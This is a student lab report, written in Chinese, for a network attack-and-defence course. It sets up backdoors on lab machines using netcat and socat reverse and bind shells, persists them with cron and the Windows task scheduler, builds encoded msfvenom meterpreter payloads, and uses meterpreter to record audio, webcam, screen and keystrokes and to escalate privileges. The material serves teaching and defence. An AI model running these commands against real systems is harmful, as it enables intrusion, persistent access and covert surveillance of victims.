20192411 2021-2022-2 《网络与系统攻防技术》实验2实验报告
20192411 2021-2022-2 《网络与系统攻防技术》实验2实验报告
1.实验内容
- 使用netcat获取主机操作Shell,cron启动某项任务
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.实验过程
准备工作
-
NC或netcat
是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
win获得Linux Shell:
ncat.exe -l -p 8888 #windows打开监听
nc 192.168.11.55 8888 -e /bin/sh #Linux反弹连接win
windows下获得一个linux shell,可运行任何指令,如ls:
Linux获得win Shell:
nc -l -p 8888 #Linux运行监听指令
ncat.exe -e cmd.exe 192.168.43.93 8888 #Windows反弹连接Linux
Linux下看到Windows的命令提示:
-
cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令;是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。
表达式:
Seconds Minutes Hours DayofMonth Month DayofWeek Year或
Seconds Minutes Hours DayofMonth Month DayofWeek -
socat
可以看作是netcat的加强版,即netcat++,超级netcat工具。
socat基本语法:
socat [options] <address> <address>
address 类似于一个文件描述符,Socat 所做的工作就是在 2 个 address 指定的描述符间建立一个pipe用于发送和接收数据。
-
Meterpreter
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
参数说明:
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode. -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。 -e 使用的编码器,用于对shellcode变形,为了免杀。 -i 编码器的迭代次数。如上即使用该编码器编码5次。 -b badchar是payload中需要去除的字符。 LHOST 是反弹回连的IP LPORT 是回连的端口 -f 生成文件的类型
2.1 使用netcat获取主机操作Shell,cron启动某项任务
-
首先获取主机的ip地址:主机ip为192.168.43.234
-
crontab指令增加一条定时任务,"-e"表示编辑。
crontab -e
* * * * * /bin/netcat 192.168.43.234 8888 -e /bin/sh #每分钟执行该指令
-
保存退出后配置生效,可以通过"crontab -l"来查看,"-l"表示list。
crontab -l
-
在主机上让nc监听8888端口就会获得一个Shell
2.2 使用socat获取主机操作Shell, 任务计划启动
-
利用windows的任务计划程序来自启动
-
触发器,设置当前这个任务计划在什么条件下面触发启动。这里我设置成定时启动一次。
-
操作选择socat.exe程序,添加参数tcp-listen:5110 exec:cmd.exe,pty,stderr。这样会把cmd.exe绑定到端口5110,同时把cmd.exe的stderr重定向到stdout上。
- TCP-LISTEN: 建立一个 TCP 监听端口,TCP也可以替换为UDP。
- EXEC: 执行一个程序作为数据流。
-
创建好之后,在21:45就会弹出一个cmd:
-
在kali中输入socat - tcp:192.168.43.234:5110(不关闭主机弹出的cmd),就会获得windows的Shell:
2.3 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
在kali用MSF meterpreter生成可执行文件20192411.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x64/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.132 LPORT=7777 -f exe > 20192411.exe
-
利用netcat将生成的文件从kali传给windows(需要关闭杀软)
windows中执行命令:
ncat.exe -l 7777 > 20192411.exe
kali中执行命令:
nc 192.168.1.110 7777 < 20192411.exe
之后可以在当前文件夹中看到生成的文件:
-
MSF打开监听进程
进入控制台:
msfconsole
进入监听模块:
use exploit/multi/handler
设置payload、ip及端口(与后门文件一致):
set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.132 set LPORT 7777
之后可以用show options来查看设置:
输入exploit开始监听,然后主机打开传送过来的后门程序,kali就可以获得Shell:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取音频:
record_mic
获取摄像头:
webcam_snap
截屏主机:
screenshot
记录主机键盘记录:
keyscan_start #开始记录
keyscan_dump #读取记录
提权:
getuid #查看当前用户
getsystem #提权
第一次提权失败,通过百度(问题2),将生成的文件名改成windows_update就可以成功提权了。
音频、摄像头、截屏、按键记录以及提权结果:
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
-
利用msf生成shellcode并注入目标文件:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.132 LPORT=7777 -x /home/hezhangrong/桌面/pwn20192411 -f elf > pwn20192411_shell
-
之后在该端口进入msf控制台,设置payload等后开启监听,然后打开另一个终端运行注入的文件,即可在监听的终端获得shell:
3.问题及解决方案
-
问题1:2.5中,提示要运行的文件权限不够。
-
问题1解决方案:利用chmod a+x将其提权,从而运行。
-
问题2:2.4中提权失败
-
问题2解决方案:(9条消息) meterpreter之getsystem命令提权详解_redwand的博客-CSDN博客_getsystem
4.学习感悟、思考等
这次实验让我更清楚地认识到安全的重要性。要想保证安全一定要十分小心谨慎,面对多样的攻击手段,我们要积极主动地学习,才能在面对这类行为的时候不落下风。
5.回答问题
-
例举你能想到的一个后门进入到你系统中的可能方式?
在奇怪的网站下载盗版之类的软件,可能就会携带后门。
-
例举你知道的后门如何启动起来(win及linux)的方式?
windows:开机自启动,任务计划定时;
Linux:通过cron定时启动。
-
Meterpreter有哪些给你映像深刻的功能?
能够对文件进行shellcode注入,在获取到shell后还可以窥屏、窃听、摄像,功能十分强大!
-
如何发现自己有系统有没有被安装后门?
杀毒软件定时查杀,从正规网站下载正规软件。